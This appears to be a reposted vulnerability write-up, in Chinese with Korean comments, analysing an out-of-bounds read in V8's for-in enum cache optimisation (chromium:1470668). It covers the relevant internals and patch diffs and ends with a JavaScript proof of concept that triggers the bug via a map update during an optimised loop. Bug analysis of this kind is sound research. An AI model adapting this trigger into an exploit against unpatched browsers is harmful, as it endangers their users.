标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-3380]   作者: 闲云野鸡 发表于: [2024-01-07]

本文共 [90] 位读者顶过

介绍

这是 Google Project Zero 的 Sergei Glazunov 报告的一个漏洞,它分析了 For-In 优化过程中发生的 OOB 漏洞。 [出自:jiwo.org]

更新

稳定版和扩展版稳定频道已更新为 116.0.5845.110(适用于 Mac 和 Linux)和 116.0.5845.110/.111(适用于 Windows),将在未来几天/几周内推出。日志中提供了此版本中更改的完整列表。

环境设置

安装depot_tools

cd ~
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git export PATH=~/depot_tools:$PATH

获取 V8 源码

mkdir v8 cd v8
fetch v8 cd v8
git checkout fd4597755cb
gclient sync -D

安装构建依赖项

./build/install-build-deps.sh

构建 V8

gn gen out/debug --args="v8_no_inline=true v8_optimized_debug=false is_component_build=false v8_expose_memory_corruption_api=true" gn gen out/release --args="v8_no_inline=true is_debug=false v8_expose_memory_corruption_api=true" ninja -C out/debug d8; ninja -C out/release d8

安装 GDB 插件

echo -e '\nsource ~/v8/v8/tools/gdbinit' >> ~/.gdbinit

必备知识

对象内属性

对象内属性提供最快的访问,因为它们将数据存储在对象本身上,并且不切换地址指针。

const obj = {};
obj.a = 1;
% DebugPrint(obj);

对象内由对象的初始大小预先确定,当添加的属性多于初始大小时,该属性存储在属性中。

const obj = {};
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
% DebugPrint(obj);
DebugPrint: 0x201f001cc715: [JS_OBJECT_TYPE]
 - map: 0x201f000db28d <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x201f000c4b79 <Object map = 0x201f000c41b5>
 - elements: 0x201f00000219 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x201f00000219 <FixedArray[0]>
 - All own properties (excluding elements): { 0x201f00002a49: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object 0x201f00002a59: [String] in ReadOnlySpace: #b: 2 (const data field 1), location: in-object 0x201f00002a69: [String] in ReadOnlySpace: #c: 3 (const data field 2), location: in-object 0x201f00002a79: [String] in ReadOnlySpace: #d: 4 (const data field 3), location: in-object
 }
const obj = {};
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
% DebugPrint(obj);
DebugPrint: 0x12f4001cc721: [JS_OBJECT_TYPE]
 - map: 0x12f4000db2c9 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x12f4000c4b79 <Object map = 0x12f4000c41b5>
 - elements: 0x12f400000219 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x12f4001cc841 <PropertyArray[3]>
 - All own properties (excluding elements): { 0x12f400002a49: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object 0x12f400002a59: [String] in ReadOnlySpace: #b: 2 (const data field 1), location: in-object 0x12f400002a69: [String] in ReadOnlySpace: #c: 3 (const data field 2), location: in-object 0x12f400002a79: [String] in ReadOnlySpace: #d: 4 (const data field 3), location: in-object 0x12f400002a89: [String] in ReadOnlySpace: #e: 5 (const data field 4), location: properties[0]
 }

描述符数组

属性的元信息存储在描述符中,该描述符通过共享与映射具有相同结构的对象的描述符(例如,具有相同名称、相同顺序的属性)来节省内存。

const object1 = {};
object1.a = 1; % DebugPrint(object1); const object2 = {};
object2.a = 2;
object2.b = 3; % DebugPrint(object1); % DebugPrint(object2);
  • 当仅创建 object1 时,描述符仅包含有关属性名称的信息:a。
DebugPrint: 0x21d8001cc741: [JS_OBJECT_TYPE] - map: 0x21d8000db305 <Map[28](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x21d8000c4b79 <Object map = 0x21d8000c41b5>
 - elements: 0x21d800000219 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x21d800000219 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x21d800002a49: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
 } 0x21d8000db305: [Map] in OldSpace - type: JS_OBJECT_TYPE - instance size: 28 - inobject properties: 4 - elements kind: HOLEY_ELEMENTS - unused property fields: 3 - enum length: invalid - stable_map - back pointer: 0x21d8000c49ad <Map[28](HOLEY_ELEMENTS)> - prototype_validity cell: 0x21d8000db34d <Cell value= 0>
 - instance descriptors (own) #1: 0x21d8001cc75d <DescriptorArray[1]>
 - prototype: 0x21d8000c4b79 <Object map = 0x21d8000c41b5>
 - constructor: 0x21d8000c46bd <JSFunction Object (sfi = 0x21d80008bf69)>
 - dependent code: 0x21d800000229 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0  0x21d8001cc75d: [DescriptorArray] - map: 0x21d800000129 <Map(DESCRIPTOR_ARRAY_TYPE)> - enum_cache: empty - nof slack descriptors: 0 - nof descriptors: 1 - raw gc state: mc epoch 0, marked 0, delta 0 [0]: 0x21d800002a49: [String] in ReadOnlySpace: #a (const data field 0:s, p: 0, attrs: [WEC]) @ Any
  • (object1 DebugPrint) 包含有关属性名称的信息:a、b,以及有关自创建 object2 以来已更改和转换的描述符的信息。
DebugPrint: 0x21d8001cc741: [JS_OBJECT_TYPE] - map: 0x21d8000db305 <Map[28](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x21d8000c4b79 <Object map = 0x21d8000c41b5>
 - elements: 0x21d800000219 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x21d800000219 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x21d800002a49: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
 } 0x21d8000db305: [Map] in OldSpace - type: JS_OBJECT_TYPE - instance size: 28 - inobject properties: 4 - elements kind: HOLEY_ELEMENTS - unused property fields: 3 - enum length: invalid - back pointer: 0x21d8000c49ad <Map[28](HOLEY_ELEMENTS)> - prototype_validity cell: 0x21d8000db34d <Cell value= 0>
 - instance descriptors #1: 0x21d8001cc795 <DescriptorArray[2]>
 - transitions #1: 0x21d8000db38d <Map[28](HOLEY_ELEMENTS)>
     0x21d800002a59: [String] in ReadOnlySpace: #b: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x21d8000db38d <Map[28](HOLEY_ELEMENTS)>
 - prototype: 0x21d8000c4b79 <Object map = 0x21d8000c41b5>
 - constructor: 0x21d8000c46bd <JSFunction Object (sfi = 0x21d80008bf69)>
 - dependent code: 0x21d800000229 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0  0x21d8001cc795: [DescriptorArray] - map: 0x21d800000129 <Map(DESCRIPTOR_ARRAY_TYPE)> - enum_cache: empty - nof slack descriptors: 0 - nof descriptors: 2 - raw gc state: mc epoch 0, marked 0, delta 0 [0]: 0x21d800002a49: [String] in ReadOnlySpace: #a (const data field 0:s, p: 0, attrs: [WEC]) @ Any [1]: 0x21d800002a59: [String] in ReadOnlySpace: #b (const data field 1:s, p: 1, attrs: [WEC]) @ Any
  • 如果它的格式相同 (object2 DebugPrint),那么你可以像 map 一样共享描述符,并且你可以看到它共享 object1 的描述符。
DebugPrint: 0x21d8001cc779: [JS_OBJECT_TYPE] - map: 0x21d8000db38d <Map[28](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x21d8000c4b79 <Object map = 0x21d8000c41b5>
 - elements: 0x21d800000219 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x21d800000219 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x21d800002a49: [String] in ReadOnlySpace: #a: 2 (const data field 0), location: in-object
    0x21d800002a59: [String] in ReadOnlySpace: #b: 3 (const data field 1), location: in-object
 } 0x21d8000db38d: [Map] in OldSpace - type: JS_OBJECT_TYPE - instance size: 28 - inobject properties: 4 - elements kind: HOLEY_ELEMENTS - unused property fields: 2 - enum length: invalid - stable_map - back pointer: 0x21d8000db305 <Map[28](HOLEY_ELEMENTS)> - prototype_validity cell: 0x21d8000db34d <Cell value= 0>
 - instance descriptors (own) #2: 0x21d8001cc795 <DescriptorArray[2]>
 - prototype: 0x21d8000c4b79 <Object map = 0x21d8000c41b5>
 - constructor: 0x21d8000c46bd <JSFunction Object (sfi = 0x21d80008bf69)>
 - dependent code: 0x21d800000229 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

 

描述符数组结构布局如下

/ A DescriptorArray is a custom array that holds instance descriptors. // It has the following layout: // Header: // [16:0 bits]: number_of_all_descriptors (including slack) // [32:16 bits]: number_of_descriptors // [48:32 bits]: raw_number_of_marked_descriptors (used by GC) // [64:48 bits]: alignment filler // [kEnumCacheOffset]: enum cache // Elements: // [kHeaderSize + 0]: first key (and internalized String) // [kHeaderSize + 1]: first descriptor details (see PropertyDetails) // [kHeaderSize + 2]: first value for constants / Smi(1) when not used // Slack: // [kHeaderSize + number of descriptors * 3]: start of slack // The "value" fields store either values or field types. A field type is either // FieldType::None(), FieldType::Any() or a weak reference to a Map. All other // references are strong.

枚举缓存

在查找对象的属性时会创建枚举缓存,例如 Object.getOwnPropertyNames() 或设置了可设置属性的对象的 for-in 语法,如果对象的值或映射没有更改,则引用枚举 chache 通过减少内存访问次数来加速内存。

这里的重点是枚举缓存只有键和索引,但没有值。

枚举缓存仅在快速属性上创建。

对于 for-in 语法,枚举缓存按以下顺序创建,当对象发生更改时,枚举缓存也会更改。

const obj = {};
obj.a = 1; for (let key in obj) { }
[+] RUNTIME_FUNCTION(Runtime_ForInEnumerate) [+] MaybeHandle<HeapObject> Enumerate [+] Prepare Key [+] CheckAndInitializeEmptyEnumCache(JSReceiver object) [-] EnumLength = 1023, kInvalidEnumCacheSentinel = 1023 [-] JSObject::cast(object).HasEnumerableElements = 0 [+] FastKeyAccumulator::GetKeys [+] FastKeyAccumulator::GetKeysFast [+] FastKeyAccumulator::GetOwnKeysWithUninitializedEnumLength [+] GetFastEnumPropertyKeys 0x6fa00000219: [FixedArray] in ReadOnlySpace - map: 0x06fa00000089 <Map(FIXED_ARRAY_TYPE)> - length: 0 [+] FastKeyAccumulator::InitializeFastPropertyEnumCache [+] DescriptorArray::InitializeOrChangeEnumCache 0x6fa000db2e9: [EnumCache] in OldSpace - map: 0x06fa000001f1 <Map[12](ENUM_CACHE_TYPE)> - keys: 0x06fa000db2d1 <FixedArray[1]> - indices: 0x06fa000db2dd <FixedArray[1]> 0x6fa000db249: [Map] in OldSpace - type: JS_OBJECT_TYPE - instance size: 28 - inobject properties: 4 - elements kind: HOLEY_ELEMENTS - unused property fields: 3 - enum length: 1 - stable_map - back pointer: 0x06fa000c49ad <Map[28](HOLEY_ELEMENTS)> - prototype_validity cell: 0x06fa000db291 <Cell value= 0>
 - instance descriptors (own) #1: 0x06fa001cc681 <DescriptorArray[1]>
 - prototype: 0x06fa000c4b79 <Object map = 0x6fa000c41b5>
 - constructor: 0x06fa000c46bd <JSFunction Object (sfi = 0x6fa0008bf69)>
 - dependent code: 0x06fa00000229 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0 0x6fa000db2e9: [EnumCache] in OldSpace - map: 0x06fa000001f1 <Map[12](ENUM_CACHE_TYPE)> - keys: 0x06fa000db2d1 <FixedArray[1]> - indices: 0x06fa000db2dd <FixedArray[1]>
// keys.cc void FastKeyAccumulator::Prepare() {
  ... bool has_no_properties = CheckAndInitializeEmptyEnumCache(current); // true == not enumerable // enum cache를 조회하고 없다면 초기화합니다. ...
}
// keys.cc MaybeHandle<FixedArray> FastKeyAccumulator::GetKeys(
    GetKeysConversion keys_conversion) { // TODO(v8:9401): We should extend the fast path of KeyAccumulator::GetKeys to // also use fast path even when filter = SKIP_SYMBOLS. We used to pass wrong // filter to use fast path in cases where we tried to verify all properties // are enumerable. However these checks weren't correct and passing the wrong // filter led to wrong behaviour. printf("[+] FastKeyAccumulator::GetKeys\n"); if (filter_ == ENUMERABLE_STRINGS) {
    Handle<FixedArray> keys; if (GetKeysFast(keys_conversion).ToHandle(&keys)) { // 반복문일경우 빠른 읽기로 key를 가져옵니다. return keys;
    } if (isolate_->has_pending_exception()) return MaybeHandle<FixedArray>();
  } if (try_prototype_info_cache_) { return GetKeysWithPrototypeInfoCache(keys_conversion);
  } return GetKeysSlow(keys_conversion);
}


MaybeHandle<FixedArray> FastKeyAccumulator::GetKeysFast(
    GetKeysConversion keys_conversion) { printf("[+] FastKeyAccumulator::GetKeysFast\n"); bool own_only = has_empty_prototype_ || mode_ == KeyCollectionMode::kOwnOnly;
  Map map = receiver_->map(); if (!own_only || map.IsCustomElementsReceiverMap()) { return MaybeHandle<FixedArray>();
  } // From this point on we are certain to only collect own keys. DCHECK(receiver_->IsJSObject());
  Handle<JSObject> object = Handle<JSObject>::cast(receiver_); // Do not try to use the enum-cache for dict-mode objects. if (map.is_dictionary_map()) { return GetOwnKeysWithElements<false>(isolate_, object, keys_conversion,
                                         skip_indices_);
  }
  int enum_length = receiver_->map().EnumLength(); if (enum_length == kInvalidEnumCacheSentinel) {
    Handle<FixedArray> keys; // Try initializing the enum cache and return own properties. if (GetOwnKeysWithUninitializedEnumLength().ToHandle(&keys)) { // enum cache가 생성되지 않으면 enum length는 0  if (v8_flags.trace_for_in_enumerate) { PrintF("| strings=%d symbols=0 elements=0 || prototypes>=1 ||\n",
               keys->length());
      }
      is_receiver_simple_enum_ =
          object->map().EnumLength() != kInvalidEnumCacheSentinel; return keys;
    }
  } // The properties-only case failed because there were probably elements on the // receiver. return GetOwnKeysWithElements<true>(isolate_, object, keys_conversion,
                                      skip_indices_);
}

MaybeHandle<FixedArray>
FastKeyAccumulator::GetOwnKeysWithUninitializedEnumLength() { printf("[+] FastKeyAccumulator::GetOwnKeysWithUninitializedEnumLength\n");
  Handle<JSObject> object = Handle<JSObject>::cast(receiver_); // Uninitialized enum length Map map = object->map(); if (object->elements() != ReadOnlyRoots(isolate_).empty_fixed_array() &&
      object->elements() != ReadOnlyRoots(isolate_).empty_slow_element_dictionary()) { // Assume that there are elements. return MaybeHandle<FixedArray>();
  }
  int number_of_own_descriptors = map.NumberOfOwnDescriptors(); if (number_of_own_descriptors == 0) {
    map.SetEnumLength(0); return isolate_->factory()->empty_fixed_array();
  } // We have no elements but possibly enumerable property keys, hence we can // directly initialize the enum cache. Handle<FixedArray> keys = GetFastEnumPropertyKeys(isolate_, object); // in-object는 peroperties에 없기 때문에 가져온 array는 비어있음 if (is_for_in_) return keys; // Do not leak the enum cache as it might end up as an elements backing store. return isolate_->factory()->CopyFixedArray(keys);
} // 최종적으로 fastproperty에 대한 접근과 cache를 생성합니다. // static Handle<FixedArray> FastKeyAccumulator::InitializeFastPropertyEnumCache(
    Isolate* isolate, Handle<Map> map, int enum_length,
    AllocationType allocation) { printf("[+] FastKeyAccumulator::InitializeFastPropertyEnumCache\n"); DCHECK_EQ(kInvalidEnumCacheSentinel, map->EnumLength()); DCHECK_GT(enum_length, 0); DCHECK_EQ(enum_length, map->NumberOfEnumerableProperties()); DCHECK(!map->is_dictionary_map());

  Handle<DescriptorArray> descriptors =
      Handle<DescriptorArray>(map->instance_descriptors(isolate), isolate); // The enum cache should have been a hit if the number of enumerable // properties is fewer than what's already in the cache. DCHECK_LT(descriptors->enum_cache().keys().length(), enum_length);
  isolate->counters()->enum_cache_misses()->Increment(); // Create the keys array. int index = 0; bool fields_only = true;
  Handle<FixedArray> keys =
      isolate->factory()->NewFixedArray(enum_length, allocation); for (InternalIndex i : map->IterateOwnDescriptors()) {
    DisallowGarbageCollection no_gc;
    PropertyDetails details = descriptors->GetDetails(i); if (details.IsDontEnum()) continue;
    Object key = descriptors->GetKey(i); if (key.IsSymbol()) continue;
    keys->set(index, key); if (details.location() != PropertyLocation::kField) fields_only = false;
    index++;
  } DCHECK_EQ(index, keys->length()); // Optionally also create the indices array. Handle<FixedArray> indices = isolate->factory()->empty_fixed_array(); if (fields_only) {
    indices = isolate->factory()->NewFixedArray(enum_length, allocation);
    index = 0;
    DisallowGarbageCollection no_gc;
    Tagged<Map> raw_map = *map;
    Tagged<FixedArray> raw_indices = *indices;
    Tagged<DescriptorArray> raw_descriptors = *descriptors; for (InternalIndex i : raw_map->IterateOwnDescriptors()) {
      PropertyDetails details = raw_descriptors->GetDetails(i); if (details.IsDontEnum()) continue;
      Object key = raw_descriptors->GetKey(i); if (key.IsSymbol()) continue; DCHECK_EQ(PropertyKind::kData, details.kind()); DCHECK_EQ(PropertyLocation::kField, details.location());
      FieldIndex field_index = FieldIndex::ForDetails(raw_map, details);
      raw_indices->set(index, Smi::FromInt(field_index.GetLoadByFieldIndex()));
      index++;
    } DCHECK_EQ(index, indices->length());
  }

  DescriptorArray::InitializeOrChangeEnumCache(descriptors, isolate, keys,
                                               indices, allocation); // enum cache생성 if (map->OnlyHasSimpleProperties()) map->SetEnumLength(enum_length); return keys;
}
// objects.cc void DescriptorArray::InitializeOrChangeEnumCache(
    Handle<DescriptorArray> descriptors, Isolate* isolate,
    Handle<FixedArray> keys, Handle<FixedArray> indices,
    AllocationType allocation_if_initialize) { printf("[+] DescriptorArray::InitializeOrChangeEnumCache\n");
  EnumCache enum_cache = descriptors->enum_cache(); if (enum_cache == ReadOnlyRoots(isolate).empty_enum_cache()) {
    enum_cache = *isolate->factory()->NewEnumCache(keys, indices,
                                                   allocation_if_initialize);
    descriptors->set_enum_cache(enum_cache);
  } else {
    enum_cache.set_keys(*keys);
    enum_cache.set_indices(*indices);
  }
  enum_cache.Print();
}

object의 변경 없이 2번째 접근하게 된다면 libv8.so의 ForInPrepareHandler에서 cache를 조회하고 있다면 바로 참조하게 됩니다.

#0 0x000055a078bb11f0 in int std::__Cr::__cxx_atomic_load<int>(std::__Cr::__cxx_atomic_base_impl<int> const volatile*, std::__Cr::memory_order) ()
    at ../../buildtools/third_party/libc++/trunk/include/__atomic/cxx_atomic_impl.h:356 #1 0x000055a078bb119b in std::__Cr::__atomic_base<int, false>::load(std::__Cr::memory_order) const volatile ()
    at ../../buildtools/third_party/libc++/trunk/include/__atomic/atomic_base.h:56 #2 0x000055a078bb115b in int std::__Cr::atomic_load_explicit<int>(std::__Cr::atomic<int> const volatile*, std::__Cr::memory_order) ()
    at ../../buildtools/third_party/libc++/trunk/include/__atomic/atomic.h:239 #3 0x000055a078bb111f in v8::base::Relaxed_Load(int const volatile*) ()
    at ../../src/base/atomicops.h:237 #4 0x000055a078bb106d in unsigned int v8::base::AsAtomicImpl<int>::Relaxed_Load<unsigned int>(unsigned int*) () at ../../src/base/atomic-utils.h:87 warning: Could not find DWO CU obj/d8/d8-test.dwo(0x1a7160efe0c25e55) referenced by CU at offset 0xc0 [in module /home/user/Downloads/v8/out.gn/x64.debug/d8]
#5 0x000055a078bd7da2 in v8::internal::TaggedField<v8::internal::MapWord, 0, v8::internal::V8HeapCompressionScheme>::Relaxed_Load_Map_Word(v8::internal::PtrComprCageBase, v8::internal::HeapObject) ()
    at ../../src/objects/tagged-field-inl.h:127 #6 0x000055a078bd7d20 in v8::internal::HeapObject::map_word(v8::internal::PtrComprCageBase, v8::RelaxedLoadTag) const ()
    at ../../src/objects/objects-inl.h:964 #7 0x000055a078bd7be5 in v8::internal::HeapObject::map(v8::internal::PtrComprCageBase) const () at ../../src/objects/objects-inl.h:853 #8 0x000055a078c4cf80 in v8::internal::HeapObject::IsFixedArray(v8::internal::PtrComprCageBase) const () at ../../src/objects/instance-type-inl.h:348 #9 0x000055a078c4cd9d in v8::internal::HeapObject::IsFixedArray() const ()
    at ../../src/objects/instance-type-inl.h:348 warning: Could not find DWO CU obj/v8_base_without_compiler/api.dwo(0x3b06f66b8ad56507) referenced by CU at offset 0xcc [in module /home/user/Downloads/v8/out.gn/x64.debug/libv8.so]
#10 0x00007fc689939d5f in v8::internal::Object::IsFixedArray() const ()
    at ../../src/objects/objects-inl.h:102 warning: Could not find DWO CU obj/v8_base_without_compiler/object-type.dwo(0x882e192b9f7e0381) referenced by CU at offset 0x3b58 [in module /home/user/Downloads/v8/out.gn/x64.debug/libv8.so]
#11 0x00007fc68a8093b8 in v8::internal::CheckObjectType(unsigned long, unsigned long, unsigned long) () at ../../src/objects/object-type.cc:69 #12 0x00007fc68974b452 in Builtins_ForInPrepareHandler ()
   from /home/user/Downloads/v8/out.gn/x64.debug/libv8.so

ReduceJSLoadPropertyWithEnumeratedKey 최적화

property를 enum 속성으로 가져올 때 JSLoadProperty 대신 enum_cache의 indices의 인덱스를 이용 LoadFieldByIndex를 함수를 사용해 name으로 조회하는 게 아닌 index 형식으로 조회하여 속도를 향상시키는 최적화 방식입니다.

// js-native-context-specialization.cc Reduction JSNativeContextSpecialization::ReduceJSLoadPropertyWithEnumeratedKey(
    Node* node) { // We can optimize a property load if it's being used inside a for..in: //   for (name in receiver) { //     value = receiver[name]; //     ... //   } // // If the for..in is in fast-mode, we know that the {receiver} has {name} // as own property, otherwise the enumeration wouldn't include it. The graph // constructed by the BytecodeGraphBuilder in this case looks like this: // receiver //  ^    ^ //  |    | //  |    +-+ //  |      | //  |   JSToObject //  |      ^ //  |      | //  |      | //  |  JSForInNext //  |      ^ //  |      | //  +----+ | //       | | //       | | //   JSLoadProperty // If the for..in has only seen maps with enum cache consisting of keys // and indices so far, we can turn the {JSLoadProperty} into a map check // on the {receiver} and then just load the field value dynamically via // the {LoadFieldByIndex} operator. The map check is only necessary when // TurboFan cannot prove that there is no observable side effect between // the {JSForInNext} and the {JSLoadProperty} node. // // Also note that it's safe to look through the {JSToObject}, since the // [[Get]] operation does an implicit ToObject anyway, and these operations // are not observable. DCHECK_EQ(IrOpcode::kJSLoadProperty, node->opcode());
  Node* receiver = NodeProperties::GetValueInput(node, 0);
  JSForInNextNode name(NodeProperties::GetValueInput(node, 1));
  Node* effect = NodeProperties::GetEffectInput(node);

 ...
}
const object1 = {};
object1.a = 1;
object1.b = 2; function test(callback) { for (let key in object1) {
    console.log(object1[key]);
    }
}
%PrepareFunctionForOptimization(trigger); test(); test();
%OptimizeFunctionOnNextCall(test); test();

图像

)

图像

分析

补丁差异

在更新对象映射的过程中,没有代码可以初始化旧描述符的enum_cache,留下现有的enum_cache。

https://chromium.googlesource.com/v8/v8.git/+/09344cd5b4bbbe4befe92e727b06284ba5cd70a9%5E%21/#F0

diff --git a/src/objects/map-updater.cc b/src/objects/map-updater.cc index 8b2e7f3..568df12 100644 --- a/src/objects/map-updater.cc +++ b/src/objects/map-updater.cc @@ -12,6 +12,7 @@ #include "src/handles/handles.h"
 #include "src/heap/parked-scope-inl.h"
 #include "src/objects/field-type.h" +#include "src/objects/keys.h" #include "src/objects/objects-inl.h"
 #include "src/objects/objects.h"
 #include "src/objects/property-details.h" @@ -1037,6 +1038,13 @@ // the new descriptors to maintain descriptors sharing invariant.
   split_map->ReplaceDescriptors(isolate_, *new_descriptors); +  // If the old descriptors had an enum cache, make sure the new ones do too. +  if (old_descriptors_->enum_cache().keys().length() > 0 && +      new_map->NumberOfEnumerableProperties() > 0) { +    FastKeyAccumulator::InitializeFastPropertyEnumCache( +        isolate_, new_map, new_map->NumberOfEnumerableProperties()); +  } + if (has_integrity_level_transition_) {
     target_map_ = new_map;
     state_ = kAtIntegrityLevelSource;

不要尝试创建空枚举缓存。

https://chromium.googlesource.com/v8/v8.git/+/5516e06237c9f0013121f47319e8c253c896d52d

[runtime] Don't try to create empty enum cache.

When copying maps and the new map has no enumerable properties we
should not try to initialize an enum cache.

This happens if the deprecation is due to making the only property in
a map non enumerable.

Bug: chromium:1472317, chromium:1470668
Change-Id: I7a6af63e50dc30592e2caacce0caccfb31f534cf
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/4775581
Reviewed-by: Tobias Tebbi <tebbi@chromium.org>
Commit-Queue: Olivier Flückiger <olivf@chromium.org>
Cr-Commit-Position: refs/heads/main@{#89534}
diff --git a/src/objects/map-updater.cc b/src/objects/map-updater.cc index 7a864d9..9c20491 100644 --- a/src/objects/map-updater.cc +++ b/src/objects/map-updater.cc @@ -1040,7 +1040,8 @@ split_map->ReplaceDescriptors(isolate_, *new_descriptors);

   // If the old descriptors had an enum cache, make sure the new ones do too. -  if (old_descriptors_->enum_cache()->keys()->length() > 0) { +  if (old_descriptors_->enum_cache()->keys()->length() > 0 && +      new_map->NumberOfEnumerableProperties() > 0) { FastKeyAccumulator::InitializeFastPropertyEnumCache(
         isolate_, new_map, new_map->NumberOfEnumerableProperties());
   }

[运行时]在地图更新时重新创建枚举缓存

https://chromium.googlesource.com/v8/v8.git/+/1c623f9ff6e077be1c66f155485ea4005ddb6574

[runtime] Recreate enum cache on map update If we had one before, we probably want one after too.

Bug: chromium:1470668 Change-Id: Ib83f7b9549b5686a16d35dd7114bf88b12d0a3a0
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/4771019 Auto-Submit: Leszek Swirski <leszeks@chromium.org> Commit-Queue: Tobias Tebbi <tebbi@chromium.org> Reviewed-by: Tobias Tebbi <tebbi@chromium.org> Cr-Commit-Position: refs/heads/main@{#89488}
diff --git a/src/objects/map-updater.cc b/src/objects/map-updater.cc index 7660fab..7a864d9 100644 --- a/src/objects/map-updater.cc +++ b/src/objects/map-updater.cc @@ -12,6 +12,7 @@ #include "src/handles/handles.h"
 #include "src/heap/parked-scope-inl.h"
 #include "src/objects/field-type.h" +#include "src/objects/keys.h" #include "src/objects/objects-inl.h"
 #include "src/objects/objects.h"
 #include "src/objects/property-details.h" @@ -1038,6 +1039,12 @@ // the new descriptors to maintain descriptors sharing invariant.
   split_map->ReplaceDescriptors(isolate_, *new_descriptors); +  // If the old descriptors had an enum cache, make sure the new ones do too. +  if (old_descriptors_->enum_cache()->keys()->length() > 0) { +    FastKeyAccumulator::InitializeFastPropertyEnumCache( +        isolate_, new_map, new_map->NumberOfEnumerableProperties()); +  } + if (has_integrity_level_transition_) {
     target_map_ = new_map;
     state_ = kAtIntegrityLevelSource;
const object1 = {};
object1.a = 1; const object2 = {};
object2.a = 2;
object2.b = 3; const object3 = {};
object3.a = 4;
object3.b = 5;
object3.c = 6; for (let key in object2) { }
% DebugPrint(object2);

object3.c = 1.1;
% DebugPrint(object2);

图像

map이 업데이트되면서 descriptor의 값이 변경되었습니다. 하지만 변경되기 전 descriptor에는 기존 enum cache가 남아있습니다.

Triggering the vulnerability

const object1 = {};
object1.a = 1; const object2 = {};
object2.a = 2;
object2.b = 3; const object3 = {};
object3.a = 4;
object3.b = 5;
object3.c = 6; for (let key in object2) { } // forin enum cache generate function trigger() { for (let key in object2) { console.log(object2[key]);
    }
}

% PrepareFunctionForOptimization(trigger); trigger();
% OptimizeFunctionOnNextCall(trigger); trigger(); // ReduceJSLoadPropertyWithEnumeratedKey optimization

for-in을 최적화 하게 되면 ReduceJSLoadPropertyWithEnumeratedKey 최적화가 진행됩니다.

최적화된 trigger 함수의 코드를 살펴보면 시작점에서 object2의 값을 조회하고 enum_cache를 가져오는 것을 확인할 수 있습니다.

  • for-in object map 반환

)

  • Descriptor 가져오기

)

)

  • enum cache 조회

)

)

  • key 조회

)

  • 데이터를 스택에 저장합니다. 여기서 r8은 enum length로 추후 loop 비교문에 사용됩니다.

)

)

즉, 최적화된 코드는 함수 초기에 for-in object의 값을 로드하고 enum cache를 판단하게 됩니다.

그럼 여기서 패치되기 전 과거 descriptor의 cache가 초기화되지 않는 점을 이용하여, trigger 함수 중간에 object의 값을 update 한다면 이전 descriptor의 cache index를 생각하고 참조하게 되지만 변경된 descriptor의 index는 없으므로 oob가 발생하게 됩니다.

/* poc.js */ const object1 = {};
object1.a = 1; const object2 = {};
object2.a = 2;
object2.b = 3; const object3 = {};
object3.a = 4;
object3.b = 5;
object3.c = 6; for (let key in object2) { } // old descriptor enum cache generate index[2] function trigger(callback) { for (let key in object2) { callback(); console.log(object2[key]);
    }
}

% PrepareFunctionForOptimization(trigger); trigger(_ => _); trigger(_ => _);
% OptimizeFunctionOnNextCall(trigger); trigger(_ => _); // ReduceJSLoadPropertyWithEnumeratedKey optimization % DebugPrint(trigger);
% DebugPrint(object2); readline(); trigger(_ => {
    object3.c = 1.1; // MapUpdater for (let key in object1) { } // new descriptor enum cache generate index[1] % DebugPrint(object2); readline();
});

New Descriptor-> enum cache -> indices에서 index[2]를 참조하면서 잘못된 주소를 가져오게 됩니다.

# movl r9,[r14+r9*1+0xb] : get enum cache  >> r9 0xe24001cc9f9: [DescriptorArray] - map: 0x0e2400000129 <Map(DESCRIPTOR_ARRAY_TYPE)> - enum_cache: 1 - keys: 0x0e24000dbdad <FixedArray[1]> - indices: 0x0e24000dbdb9 <FixedArray[1]> - nof slack descriptors: 0 - nof descriptors: 3 - raw gc state: mc epoch 0, marked 0, delta 0 [0]: 0xe2400002a49: [String] in ReadOnlySpace: #a (const data field 0:s, p: 0, attrs: [WEC]) @ Any [1]: 0xe2400002a59: [String] in ReadOnlySpace: #b (const data field 1:s, p: 2, attrs: [WEC]) @ Any [2]: 0xe2400002a69: [String] in ReadOnlySpace: #c (data field 2:d, p: 1, attrs: [WEC]) @ Any >> [r14+r9*1+0xb] 0xe24000dbdc5: [EnumCache] in OldSpace - map: 0x0e24000001f1 <Map[12](ENUM_CACHE_TYPE)> - keys: 0x0e24000dbdad <FixedArray[1]> - indices: 0x0e24000dbdb9 <FixedArray[1]>
